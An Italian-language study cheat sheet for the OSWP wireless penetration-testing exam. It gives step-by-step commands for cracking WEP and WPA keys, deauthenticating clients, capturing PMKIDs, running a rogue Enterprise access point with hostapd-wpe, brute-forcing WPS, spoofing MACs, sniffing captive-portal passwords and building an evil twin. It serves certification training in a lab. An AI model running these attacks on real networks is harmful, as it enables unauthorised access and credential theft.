CHEAT SHEET COMPLETO PER ESAME OSWP (v3)
Revisione tecnica: correzioni segnalate con [FIX], aggiunte segnalate con [NUOVO]. v2: nota [ARM/Kali] su hashcat/OpenCL non disponibile su Kali arm64 → usare
aircrack-ng/asleapcome metodo primario di cracking. v3: sezione 2.5 Captive Portal riscritta da zero con due tecniche complete, passo-passo, verificate su lab reale (WiFiChallengeLab). Aggiunta nota sudhclientmancante su Kali recente.
INDICE DEGLI SCENARI COPERTI
- Reti WEP
- Reti WPA/WPA2-PSK
- Reti WPA/WPA2-Enterprise (WPA-MGT)
- Attacco WPS
- Bypass Captive Portal (due tecniche)
- Evil Twin su rete aperta
FASE 0: PREPARAZIONE DELL'AMBIENTE
Questa fase è CRUCIALE. Deve essere eseguita all'inizio di OGNI scenario e ogni volta che si cambia scheda di rete.
0.1 Identificare le interfacce disponibili
[FIX] Attenzione al nome dell'interfaccia in monitor mode: con le versioni recenti di aircrack-ng, airmon-ng start wlan0 non rinomina sempre l'interfaccia in wlan0mon — dipende dal driver. A volte resta wlan0 semplicemente passata in modalità monitor. Dopo airmon-ng start, verifica sempre con iwconfig o iw dev quale sia il nome reale prima di lanciare i comandi successivi, invece di assumere wlan0mon a prescindere. Se un comando dà "No such device", è quasi sempre questo il motivo.
0.2 SALVARE IL MAC ADDRESS (PASSAGGIO FONDAMENTALE)
# Metodo 1: Usando ip (RACCOMANDATO)
ORIG_MAC=$(ip link show wlan0 | grep link/ether | awk '{print $2}')
echo "Il mio MAC è: $ORIG_MAC"
# Metodo 2: Usando ifconfig
ifconfig wlan0 | grep ether
# Metodo 3: Manuale
ip link show wlan0 | grep link/ether
PERCHÉ È IMPORTANTE: dopo la modalità monitor l'interfaccia mostra spesso un MAC placeholder (es. 02:00:00:00:00:00 o 42:00:00:00:00:00). Il MAC fisico salvato qui serve per aireplay-ng -h.
0.3 Terminare i processi che interferiscono
NetworkManager e wpa_supplicant cambiano canale e interferiscono con la cattura. Uccidere NetworkManager interrompe Internet: scarica wordlist/tool PRIMA di questo step, oppure riavvialo dopo (sudo systemctl start NetworkManager).
0.4 Attivare la modalità monitor
0.5 Verificare la modalità monitor
0.6 [NUOVO] Verificare la capacità di injection
Passo mancante nell'originale ma essenziale: prima di affidarti a deauth/ARP replay, verifica che la scheda in monitor mode supporti effettivamente l'injection dei pacchetti.
Output atteso: Injection is working!. Se fallisce, i tuoi attacchi di deauth/replay non funzioneranno e va indagato prima di perdere tempo su uno scenario (driver sbagliato, canale, interfaccia non realmente in monitor mode).
Nota: su ambienti di laboratorio virtuale (es. mac80211_hwsim), questo test può dare "Found 0 APs" anche quando l'injection funziona correttamente, perché il "mezzo radio" è simulato e non risponde a probe broadcast come un AP reale. In quel caso il test più affidabile è verificare direttamente con airodump-ng che gli AP compaiano e con aireplay-ng -1 0 che l'associazione abbia successo.
0.7 Se devi ripristinare l'interfaccia
0.8 Riavviare NetworkManager per installare pacchetti
sudo systemctl start NetworkManager
sudo apt update
sudo apt install aircrack-ng hashcat reaver macchanger asleap tshark isc-dhcp-client
[NUOVO] Nota pratica: durante l'esame la VM potrebbe non avere accesso a Internet o i repository potrebbero non essere raggiungibili. Verifica prima dell'esame che tutti i tool (aircrack-ng suite, hashcat, reaver/bully, macchanger, asleap, hostapd-wpe, hcxdumptool, hcxpcapngtool, tshark) siano già presenti, e che /usr/share/wordlists/rockyou.txt sia decompresso:
ls -la /usr/share/wordlists/rockyou.txt*
# se vedi solo rockyou.txt.gz:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
[NUOVO — ARM/Kali] Verifica hashcat PRIMA dell'esame:
Se restituisce No devices found/left (tipico su Kali arm64, dove pocl-opencl-icd non è più pacchettizzato), non contarci come piano principale: usa aircrack-ng per tutto il cracking (WEP, WPA-PSK) e asleap per l'Enterprise, entrambi CPU-native e senza dipendenze OpenCL. Vedi note nei rispettivi scenari sotto.
[NUOVO — v3] Verifica dhclient PRIMA dell'esame:
Le immagini Kali recenti non includono più dhclient (isc-dhcp-client) preinstallato — deprecato in favore del client DHCP interno di NetworkManager. Il cheat sheet lo usa spesso nella Fase 3 (connessione via wpa_supplicant + dhclient per WEP/WPA/Enterprise, dove NetworkManager va tenuto spento). Verifica e installalo subito:
FASE 1: RICOGNIZIONE (RECONNAISSANCE)
1.1 Scansione completa
Opzioni utili: --band abg, --manufacturer, --wps, -c <canale>, --bssid <BSSID>.
1.2 Interpretazione dell'output
| Colonna | Significato |
|---|---|
| BSSID | MAC address dell'Access Point |
| PWR | Potenza del segnale (più vicino a 0 = più forte) |
| Beacons | Numero di beacon ricevuti |
| #Data | Numero di pacchetti dati |
| CH | Canale |
| MB | Velocità massima (54e = 54 Mbps con WEP) |
| ENC | Cifratura (WEP, WPA, WPA2, OPN) |
| CIPHER | Cifrario (TKIP, CCMP) |
| AUTH | Autenticazione (PSK, MGT, OPN, SKA) |
| ESSID | Nome della rete |
1.3 Identificare vulnerabilità
- WEP (
ENC: WEP) → priorità alta, facile da craccare - WPA/WPA2 PSK (
AUTH: PSK) → serve handshake (o PMKID) - WPA/WPA2 MGT (
AUTH: MGT) → Enterprise, richiede Rogue AP - WPS (
WPS: Yesinwash) → possibile brute-force - Reti aperte (
ENC: OPN) → Evil Twin o Captive Portal (vedi 2.5 per come distinguerli)
1.4 Cattura mirata (bloccando il canale)
Bloccare il canale evita il channel hopping automatico di airodump-ng, che rischierebbe di far perdere pacchetti cruciali (handshake, IV).
[NUOVO] Attenzione ai conflitti tra terminali: se hai un airodump-ng in modalità hopping (senza -c) e un aireplay-ng mirato attivi sulla stessa interfaccia contemporaneamente, i due processi si contendono il canale — vedrai aireplay-ng lamentarsi in loop con "wlan0mon is on channel X, but the AP uses channel Y". Usa interfacce diverse per scansione hopping e attacco mirato, oppure ferma temporaneamente lo scan hopping mentre lavori sull'attacco.
FASE 2: ATTACCHI SPECIFICI
2.1 ATTACCO A RETI WEP
Servono circa 40.000 IV per craccare la chiave.
STEP 1: Identificare la rete WEP
STEP 2: Avviare la cattura IV
STEP 3: Generare traffico
Opzione A — ARP Replay (con client associati o traffico esistente, CONSIGLIATA):
Opzione B — Fake Authentication (se non ci sono client associati, necessaria prima dell'ARP replay):
sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
[NUOVO] Opzione C — Se non c'è traffico da rilanciare e ARP replay non produce IV (nessun client, rete "silenziosa"):
ChopChop attack (decifra un pacchetto byte-per-byte senza conoscere la chiave, poi lo si usa per generare un nuovo pacchetto da iniettare):
sudo aireplay-ng -4 -b <BSSID> -h $ORIG_MAC wlan0mon
# genera un file replay_dec-<data>.cap, poi:
sudo packetforge-ng -0 -a <BSSID> -h $ORIG_MAC -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-<data>.xor -w arp-request
sudo aireplay-ng -2 -r arp-request wlan0mon
Fragmentation attack (alternativa a chopchop, spesso più veloce):
sudo aireplay-ng -5 -b <BSSID> -h $ORIG_MAC wlan0mon
# poi packetforge-ng come sopra usando il .xor generato
Questi due metodi non recuperano la chiave WEP direttamente, ma un keystream utile a forgiare pacchetti ARP da iniettare per far salire rapidamente #Data.
STEP 4: Monitorare la raccolta IV — nella finestra airodump-ng, guarda #Data fino a ~40.000.
STEP 5: Craccare la chiave WEP
Nessuna dipendenza da hashcat/OpenCL qui: aircrack-ng fa tutto in autonomia su CPU.
2.2 ATTACCO A RETI WPA/WPA2-PSK
STEP 1: Cattura sul target
STEP 2: Deauthentication Attack
# Mirato (CONSIGLIATO)
sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon
# Broadcast (rumoroso, tutti i client)
sudo aireplay-ng -0 5 -a <BSSID> wlan0mon
STEP 3: Verificare la cattura dell'handshake — cerca WPA handshake: <BSSID> in alto a destra in airodump-ng. Se non appare, ripeti il deauth (aumenta a -0 10) o prova un client diverso.
[NUOVO] STEP 3bis: Alternativa clientless — attacco PMKID
Se non c'è nessun client associato da deautenticare (AP "silenzioso"), molti AP moderni sono comunque attaccabili via PMKID, catturabile senza handshake a 4 vie e senza client:
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
# lascialo girare qualche secondo/minuto, poi CTRL+C
hcxpcapngtool -o hash_pmkid.hc22000 capture.pcapng
Per il cracking del PMKID vedi STEP 4/5 sotto — funziona sia con aircrack-ng (dal .cap originale) sia con hashcat (dall'.hc22000).
Nota: nel programma OSWP standard l'attacco principale insegnato resta deauth + handshake; il PMKID è un utile piano B se l'AP simulato non genera traffico client.
STEP 4 — [FIX v2] Cracking: metodo primario, aircrack-ng (CPU-native, nessuna dipendenza OpenCL)
Funziona direttamente sul .cap, senza conversioni. Consigliato di default, e obbligatorio su Kali arm64 dove hashcat spesso non trova alcun device (vedi nota in Fase 0.8).
STEP 4bis — Alternativa con GPU: conversione per Hashcat
Da usare solo se hashcat -I mostra almeno un device disponibile (tipicamente x86_64 con GPU dedicata o OpenCL CPU funzionante):
STEP 5bis — Craccare con Hashcat
sudo hashcat -m 22000 hash_handshake.hc22000 /usr/share/wordlists/rockyou.txt
sudo hashcat -m 22000 hash_handshake.hc22000 --show
2.3 ATTACCO A RETI WPA/WPA2-ENTERPRISE (WPA-MGT)
Richiede un Rogue Access Point per intercettare le credenziali EAP. Scenario più complesso e quello con più errori nella versione originale del documento — attenzione ai fix.
Strumenti necessari
[FIX] Il tool storicamente usato nel corso ufficiale (PEN-210) è hostapd-wpe, non hostapd-mana. Sono entrambi validi (mana è l'evoluzione più recente e attivamente mantenuta), ma verifica cosa è effettivamente preinstallato nella VM d'esame prima di improvvisare:
Serve inoltre asleap per il cracking offline delle credenziali MSCHAPv2 — CPU-native, nessuna dipendenza OpenCL, funziona identico su x86_64 e arm64.
STEP 1: Installare gli strumenti (se non presenti)
STEP 2: Identificare il target — cerca AUTH: MGT nella scansione.
STEP 3: Configurazione — [FIX] file di configurazione completo
L'originale riportava solo ssid, channel e mana_wpe=1, il che non è sufficiente per un AP Enterprise funzionante. Servono anche i parametri WPA-EAP e i certificati (hostapd-wpe ne include di default in /etc/hostapd-wpe/certs/, generati automaticamente se mancanti al primo avvio):
interface=wlan0mon
driver=nl80211
ssid=CorporateWiFi
channel=6
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever2changeme
Se usi hostapd-mana, il parametro equivalente da aggiungere è mana_wpe=1 sopra a questa stessa base di configurazione.
STEP 4: Avviare il Rogue AP
STEP 5: Forzare la deautenticazione dei client dal target legittimo
STEP 6: Catturare le credenziali — [FIX] percorso log
hostapd-wpe non scrive di default in /var/log/hostapd.log. Scrive in un file hostapd-wpe.log nella directory da cui è stato lanciato il comando (verifica con ls -la dopo l'avvio, o specifica un path esplicito se la tua versione lo consente).
[NUOVO] Nota sul GTC downgrade: se il client supporta EAP-GTC oltre a MSCHAPv2, hostapd-wpe forza il downgrade a GTC, ottenendo username e password in chiaro direttamente nel log, senza bisogno di alcun cracking. Controlla sempre prima il log per credenziali già in chiaro — è più veloce che craccare l'MSCHAPv2 challenge/response.
Se invece il client fa solo MSCHAPv2, otterrai una tripla username:challenge:response da craccare offline.
STEP 7 — Metodo primario: craccare con asleap
STEP 8 — [FIX] Alternativa con GPU: Hashcat, modulo corretto
Solo se hashcat -I mostra un device disponibile. L'originale indicava -m 16800 / -m 22000, che sono moduli per WPA-PSK (PMKID/handshake) e non hanno nulla a che fare con MSCHAPv2. Il modulo corretto per le credenziali Enterprise catturate da hostapd-wpe/asleap è:
# -m 5500 = MSCHAPv2 / NetNTLMv1 (formato: username::domain:challenge:response)
sudo hashcat -m 5500 hash_enterprise.txt /usr/share/wordlists/rockyou.txt
2.4 ATTACCO WPS (WI-FI PROTECTED SETUP)
STEP 1: Identificare AP con WPS abilitato
STEP 2: Reaver
Opzioni utili: -K 1 (Pixie Dust — [NUOVO] nota: richiede pixiewps installato separatamente, verifica con which pixiewps), -d 2, -t 5, -N, -L.
STEP 3: Se WPS si blocca
Oppure attendi il timer di lockout (in genere 5-10 minuti).STEP 4: Se Reaver fallisce, prova Bully
2.5 BYPASS DEL CAPTIVE PORTAL — [RISCRITTA v3, DUE TECNICHE COMPLETE]
Una rete con ENC: OPN (nessuna cifratura radio) può nascondere due tipi di captive portal molto diversi tra loro, e non lo sai finché non ci provi:
- Tipo A — Whitelist per MAC: l'AP lascia passare il traffico reale solo ai MAC che ha già "visto" autenticarsi. Bypass: rubi il MAC di un client già autorizzato (MAC spoofing).
- Tipo B — Login applicativo reale (username+password su un form HTML): il MAC non conta nulla, serve una credenziale valida. Bypass: intercetti le credenziali in chiaro via sniffing passivo, perché su rete OPN il traffico HTTP di tutti i client (anche se non sei associato) è leggibile in aria.
Segui questo ordine: prima capisci con quale tipo hai a che fare, poi applica la tecnica giusta.
STEP 0 — Diagnosi: di che tipo di captive portal si tratta?
0.1 — Associati normalmente alla rete aperta (senza nessun trucco), come faresti da utente qualsiasi:
# Se sei in monitor mode, torna in modalità gestita
sudo airmon-ng stop wlan0mon
# Assicurati che l'interfaccia sia su
sudo ip link set wlan0 up
# Connettiti con NetworkManager (più affidabile di iw per reti aperte)
nmcli dev wifi connect <ESSID>
# Verifica che tu abbia un IP
ip addr show wlan0
0.2 — Apri il browser e vai sull'IP del gateway:
Apri http://<IP_GATEWAY>/ nel browser di Kali (Firefox già installato).
0.3 — Guarda cosa succede:
- Se vieni rediretto automaticamente a una pagina tipo
login.phpcon campi Username e Password → sei nel Tipo B, salta direttamente alla sezione "TECNICA B" qui sotto. Il MAC spoofing da solo NON funzionerà, non perderci tempo. - Se la pagina ti chiede solo di "accettare i termini" o ti blocca senza chiedere credenziali, o se hai già accesso a Internet/proof.txt senza fare nulla → probabile whitelist MAC, prova la TECNICA A.
TECNICA A — Whitelist per MAC address
A.1 — Torna in monitor mode e individua un client già associato e "autorizzato":
sudo airmon-ng start wlan0
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w captive_capture wlan0mon
Guarda la tabella in basso, colonna STATION: annota il MAC del client con più Frames (segno che sta effettivamente passando traffico, quindi probabilmente è autorizzato):
A.2 — Ferma la modalità monitor:
A.3 — Spoofare il tuo MAC con quello del client:
sudo systemctl stop NetworkManager
sudo ip link set wlan0 down
sudo macchanger -m $CLIENT_MAC wlan0
sudo ip link set wlan0 up
sudo systemctl start NetworkManager
A.4 — Connettersi alla rete e ottenere un IP:
Se non vedi un IP assegnato dopo qualche secondo, forza la richiesta DHCP:
sudo dhclient wlan0
# se "comando non trovato": sudo apt install isc-dhcp-client -y && sudo dhclient wlan0
A.5 — Verificare l'accesso:
Se funziona, hai finito. Se invece resti bloccato sulla pagina di login nonostante il MAC corretto, il portale probabilmente è comunque Tipo B (login reale) — passa alla TECNICA B.
IMPORTANTE:
- Se il client legittimo è ancora connesso, ci sarà un conflitto di MAC duplicati sulla rete — idealmente deautentica prima il client originale per liberare la sessione: sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon (richiede di essere di nuovo in monitor mode).
- Se la rete usa 802.1X (MGT), questa tecnica non funziona: quella è tutta un'altra categoria, vedi sezione 2.3.
TECNICA B — Sniffing delle credenziali in chiaro (login applicativo)
Perché funziona: su una rete OPN non c'è cifratura a livello radio — chiunque nel raggio d'ascolto può leggere in chiaro tutto il traffico 802.11 di qualunque client connesso, senza bisogno di essere associato lui stesso. Se il captive portal usa un form HTTP (non HTTPS) per il login, e periodicamente qualche client legittimo (bot del lab, o utente reale) effettua il login, la password passa in chiaro nell'aria e la puoi intercettare passivamente.
B.1 — Metti la scheda in monitor mode (se non lo è già) e individua canale/BSSID della rete target:
Annota BSSID e CH (canale) della rete OPN target (es. wifi-guest).
B.2 — Avvia la cattura mirata sul canale, salvando su file:
Lascialo aperto e ATTENDI — non serve fare nient'altro, nessuna associazione, nessun deauth. Devi solo aspettare che un client qualsiasi effettui il login mentre stai ascoltando. Nei lab, i client bot lo fanno periodicamente; in un contesto reale/esame potrebbe volerci qualche minuto. Lascialo girare almeno 3-5 minuti prima di considerarlo "vuoto".
Quando hai raccolto traffico a sufficienza, interrompi con CTRL+C (o lascialo aperto e apri un secondo terminale per il passo successivo, il file si aggiorna comunque in tempo reale).
B.3 — Estrai i pacchetti POST HTTP (dove finiscono i form di login) dal file catturato con tshark:
Cosa aspettarti: questo comando stampa il corpo di ogni richiesta POST, ma in esadecimale (non testo leggibile) — è normale, http.file_data restituisce i byte grezzi. Vedrai righe tipo:
557365726e616d653d66726565312650617373776f72643d4a796c3169713855616a5a3166454b265375626d69743d4c6f67696e
B.4 — Decodifica l'esadecimale in testo leggibile. Nel terminale:
echo "557365726e616d653d66726565312650617373776f72643d4a796c3169713855616a5a3166454b265375626d69743d4c6f67696e" | xxd -r -p
Output atteso, in chiaro:
Per farlo su TUTTE le righe in un colpo solo (più comodo se ne hai molte):
tshark -r captive_sniff-01.cap -Y "http.request.method == POST" -T fields -e http.file_data | sort -u | while read -r hexline; do echo "$hexline" | xxd -r -p; echo; done
sort -u elimina i duplicati (lo stesso login catturato più volte, tipico se il client bot si riautentica spesso).
B.5 — Usa le credenziali trovate. Vai nel browser sulla pagina di login (http://<IP_GATEWAY>/login.php) e inserisci Username e Password decodificate. Dopo il login dovresti vedere una pagina tipo index.php con conferma di accesso e, spesso, la flag/proof direttamente a schermo.
B.6 — Se la flag non è mostrata direttamente a schermo, recuperala comunque via terminale. Attenzione: una volta autenticato via browser, la sessione è legata ai cookie di quel browser — curl da terminale (senza cookie) potrebbe non essere autenticato. Se ti serve da riga di comando, ripeti il login mantenendo i cookie:
curl -c cookies.txt -d "Username=free1&Password=Jyl1iq8UajZ1fEK&Submit=Login" http://<IP_GATEWAY>/login.php
curl -b cookies.txt http://<IP_GATEWAY>/index.php
curl -b cookies.txt http://<IP_GATEWAY>/proof.txt
Alternativa: analisi visuale in Wireshark (se preferisci non usare la riga di comando):
Filtro da inserire nella barra in alto:
Clicca su un pacchetto → tasto destro → Follow → HTTP Stream: vedrai la richiesta POST già decodificata in chiaro, senza dover passare da xxd.
Riepilogo rapido — quale tecnica usare
| Situazione osservata | Tecnica |
|---|---|
| Nessun form di login, solo redirect/blocco generico | A — MAC spoofing |
| Form con Username + Password | B — Sniffing credenziali |
| A non funziona nonostante MAC corretto | Prova B |
| Obiettivo esplicito è "intercetta le credenziali di un altro utente" | B, sempre |
2.6 EVIL TWIN SU RETE APERTA
STEP 1-2: Rogue AP con airbase-ng
STEP 3: Routing (opzionale)
sudo ifconfig at0 up
sudo ifconfig at0 192.168.1.1 netmask 255.255.255.0
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
STEP 4: Deautenticazione dei client dal target legittimo
STEP 5: Intercettare il traffico
STEP 6: dnsmasq per DHCP/DNS sui client connessi
sudo apt install dnsmasq
cat > dnsmasq.conf << EOF
interface=at0
dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
log-queries
log-facility=/var/log/dnsmasq.log
EOF
sudo dnsmasq -C dnsmasq.conf
FASE 3: ACCESSO E RACCOLTA DELLA PROVA (PROOF)
3.1 Connessione con wpa_supplicant
WPA2-PSK (CCMP):
network={
ssid="<ESSID>"
psk="<PASSWORD>"
key_mgmt=WPA-PSK
proto=RSN
pairwise=CCMP
group=CCMP
}
WPA-PSK (TKIP):
network={
ssid="<ESSID>"
psk="<PASSWORD>"
key_mgmt=WPA-PSK
proto=WPA
pairwise=TKIP
group=TKIP
}
sudo airmon-ng stop wlan0mon
sudo wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf
sudo dhclient wlan0
ip addr show wlan0
ping 192.168.1.1
Reti aperte:
Reti WEP:
WPA-Enterprise:
network={
ssid="<ESSID>"
key_mgmt=WPA-EAP
eap=PEAP
identity="<USERNAME>"
password="<PASSWORD>"
phase2="auth=MSCHAPV2"
}
[NUOVO v3] Nota: se dhclient non è trovato, vedi Fase 0.8 per installarlo (sudo apt install isc-dhcp-client). In alternativa, per reti aperte/WEP/WPA-PSK puoi affidarti a nmcli dev wifi connect <ESSID> con NetworkManager attivo, che gestisce da solo il DHCP — ma per Enterprise e per WEP con iw dev connect è comunque preferibile avere dhclient disponibile per seguire esattamente questi step.
3.2 Recuperare il file proof.txt
ip route | grep default
curl http://192.168.1.1/proof.txt
wget http://192.168.1.1/proof.txt
cat proof.txt
Se non disponibile: prova anche flag.txt e index.php (a volte la flag è mostrata solo dopo login, come nello scenario captive portal Tipo B — vedi 2.5), verifica se il server richiede HTTPS (curl -k https://...).
3.3 Documentazione (OBBLIGATORIA)
Screenshot richiesti per ogni scenario:
1. Scansione con BSSID/ESSID target
2. Cattura handshake / IV / credenziali (a seconda dello scenario)
3. Comando di cracking con la chiave/password trovata
4. Connessione alla rete (ip addr)
5. Download del proof.txt
6. Contenuto del proof.txt
APPENDICE: GESTIONE DEGLI ERRORI COMUNI
"No such device" per wlan0/wlan0mon
[FIX] Ricorda: il nome dell'interfaccia in monitor mode potrebbe essere rimastowlan0 invece di diventare wlan0mon — non dare per scontato il rename automatico.
"Permission denied"
"Device or resource busy"
[FIX v2] Hashcat: "No devices found/left"
Su Kali (in particolare arm64/Apple Silicon), il pacchetto pocl-opencl-icd che fornisce il backend OpenCL per CPU è stato rimosso dai repository Kali — non è più installabile via apt (pkg.kali.org lo conferma come "gone"). Sintomi:
sudo apt install ocl-icd-libopencl1 non basta da solo: serve un vero driver/ICD (pocl per CPU, oppure driver GPU proprietario), e su queste immagini non è disponibile via apt.
Non perdere tempo a inseguirlo durante l'esame: usa aircrack-ng per WEP/WPA-PSK e asleap per l'Enterprise (vedi le sezioni 2.1/2.2/2.3 sopra) — nessuno dei due richiede OpenCL. Riserva hashcat solo se ti alleni su una macchina x86_64 con GPU o backend OpenCL funzionante e verificato con hashcat -I prima di fartici affidamento.
cat hash_handshake.hc22000
sudo hashcat -m 22000 hash_handshake.hc22000 /usr/share/wordlists/rockyou.txt --force
sudo hashcat -m 22000 hash_handshake.hc22000 --show
[NUOVO v3] "sudo: dhclient: comando non trovato"
dhclient non è preinstallato sulle immagini Kali recenti. Fix:
Alternativa senza installare nulla, se NetworkManager è attivo:
"No handshake captured" in aircrack-ng
sudo aireplay-ng -0 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
# alternativa clientless:
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
hcxpcapngtool -o hash.hc22000 capture.pcapng
"No IVs gathered" in aircrack-ng per WEP
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
# se nessun client e nessun traffico:
sudo aireplay-ng -4 -b <BSSID> -h $ORIG_MAC wlan0mon # chopchop
sudo aireplay-ng -5 -b <BSSID> -h $ORIG_MAC wlan0mon # fragmentation
"Memory allocation failed" in Hashcat
Aumenta la RAM della VM o usa una wordlist più piccola per test (rilevante solo se stai comunque usando hashcat con un backend OpenCL funzionante).
[NUOVO] "Injection is working: NO" / "Found 0 APs" con aireplay-ng -9
Verifica che l'interfaccia sia realmente in monitor mode (iwconfig), che il driver supporti l'injection, e che non ci siano altri processi (NetworkManager/wpa_supplicant, o un altro airodump-ng/aireplay-ng sulla stessa interfaccia) ancora attivi. Su ambienti di laboratorio virtuale (mac80211_hwsim) questo test può dare falsi negativi — verifica piuttosto con uno scan diretto (airodump-ng) e un tentativo di fake authentication (aireplay-ng -1 0).
[NUOVO] aireplay-ng in loop su "wlan0mon is on channel X, but the AP uses channel Y"
Hai un altro processo (tipicamente un airodump-ng in hopping) attivo sulla stessa interfaccia che cambia canale in continuazione. Usa un'interfaccia diversa per l'attacco mirato, o ferma temporaneamente lo scan hopping.
[NUOVO v3] Captive portal: MAC spoofing non funziona (resti sempre sulla pagina di login)
Non tutti i captive portal usano whitelist MAC. Se dopo lo spoof resti bloccato su un form con Username/Password, è un login applicativo reale: passa alla TECNICA B della sezione 2.5 (sniffing delle credenziali via airodump-ng + tshark).
[NUOVO v3] tshark -e http.file_data restituisce esadecimale illeggibile
È normale, non un errore: http.file_data in tshark restituisce sempre i byte grezzi in hex. Decodifica con:
.cap in Wireshark e usa Follow → HTTP Stream per la decodifica automatica.
RIEPILOGO DEI COMANDI PRINCIPALI
| Fase | Comando |
|---|---|
| Setup | sudo airmon-ng check kill |
sudo airmon-ng start wlan0 |
|
ORIG_MAC=$(ip link show wlan0 \| grep link/ether \| awk '{print $2}') |
|
sudo aireplay-ng -9 wlan0mon (test injection) |
|
hashcat -I (verifica device disponibili PRIMA di contarci) |
|
which dhclient (verifica prima dell'esame, installa se assente) |
|
| Scansione | sudo airodump-ng --band abg --manufacturer wlan0mon |
| Cattura Mirata | sudo airodump-ng -c <CH> --bssid <BSSID> -w <file> wlan0mon |
| Deauth (WPA) | sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon |
| ARP Replay (WEP) | sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon |
| Fake Auth (WEP) | sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon |
| ChopChop/Fragmentation (WEP) | sudo aireplay-ng -4 / -5 -b <BSSID> -h $ORIG_MAC wlan0mon |
| Crack WEP | sudo aircrack-ng wep_capture-01.cap |
| Crack WPA (aircrack-ng, PRIMARIO) | sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa_capture-01.cap |
| Converti per Hashcat (solo se GPU/OpenCL OK) | hcxpcapngtool -o hash.hc22000 wpa_capture-01.cap |
| Crack WPA (Hashcat, opzionale) | sudo hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt |
| PMKID clientless | sudo hcxdumptool -i wlan0mon -o cap.pcapng --enable_status=1 |
| WPS Scan | sudo wash -i wlan0mon -s |
| WPS Attack | sudo reaver -i wlan0mon -b <BSSID> -c <CH> -vv |
| Captive Portal — MAC spoof | sudo macchanger -m <CLIENT_MAC> wlan0 |
| Captive Portal — sniff credenziali | tshark -r <file>.cap -Y "http.request.method == POST" -T fields -e http.file_data |
| Captive Portal — decodifica hex | echo "<hex>" \| xxd -r -p |
| Evil Twin | sudo airbase-ng -e <ESSID> -c <CH> wlan0mon |
| Rogue AP Enterprise | sudo hostapd-wpe hostapd-wpe.conf |
| Crack MSCHAPv2 (asleap, PRIMARIO) | sudo asleap -C <CHALLENGE> -R <RESPONSE> -W /usr/share/wordlists/rockyou.txt |
| Crack MSCHAPv2 (Hashcat, opzionale) | sudo hashcat -m 5500 hash.txt /usr/share/wordlists/rockyou.txt |
| Spoof MAC | sudo ip link set wlan0 down && sudo ip link set wlan0 address <NEW_MAC> && sudo ip link set wlan0 up |
| Connessione | sudo wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf |
sudo dhclient wlan0 |
|
| Prova Finale | curl http://192.168.1.1/proof.txt |
SUGGERIMENTI PER L'ESAME
- Leggi il MAC all'inizio e testa l'injection (
aireplay-ng -9) prima di fidarti dell'interfaccia. - Verifica
hashcat -Iewhich dhclientprima dell'esame: se mancano, pianifica di usareaircrack-ng/asleap/nmclicome metodo primario, non scoprirlo a metà scenario. - Usa più terminali: uno per
airodump-ng, uno peraireplay-ng, uno per il cracking — ma mai due processi aireplay/airodump mirati sulla stessa interfaccia contemporaneamente. - Blocca il canale sempre quando attacchi un target specifico.
- Per le reti OPN, non dare per scontato il tipo di captive portal: prova sempre prima l'associazione diretta (STEP 0 della sezione 2.5) per capire se ti serve MAC spoofing o sniffing delle credenziali, prima di lanciarti in una delle due tecniche a caso.
- Documenta tutto: comando, output, screenshot.
- Gestisci il tempo: 3h45m per gli scenari — inizia da quello più semplice.
- Verifica il proof.txt prima di passare allo scenario successivo.
- Vietati strumenti automatici:
wifite,wifiphisher,besside-ng. - Prima dell'esame verifica che tutti i tool citati siano effettivamente installati, che rockyou.txt sia decompresso, e che hashcat abbia un device utilizzabile (o accetta fin da subito di fare affidamento su aircrack-ng/asleap).
- Se qualcosa non funziona, ripeti da capo: spesso è solo timing/interfaccia sbagliata.
- Conserva tutti i file di cattura (.cap, .hc22000, log hostapd-wpe) come prova.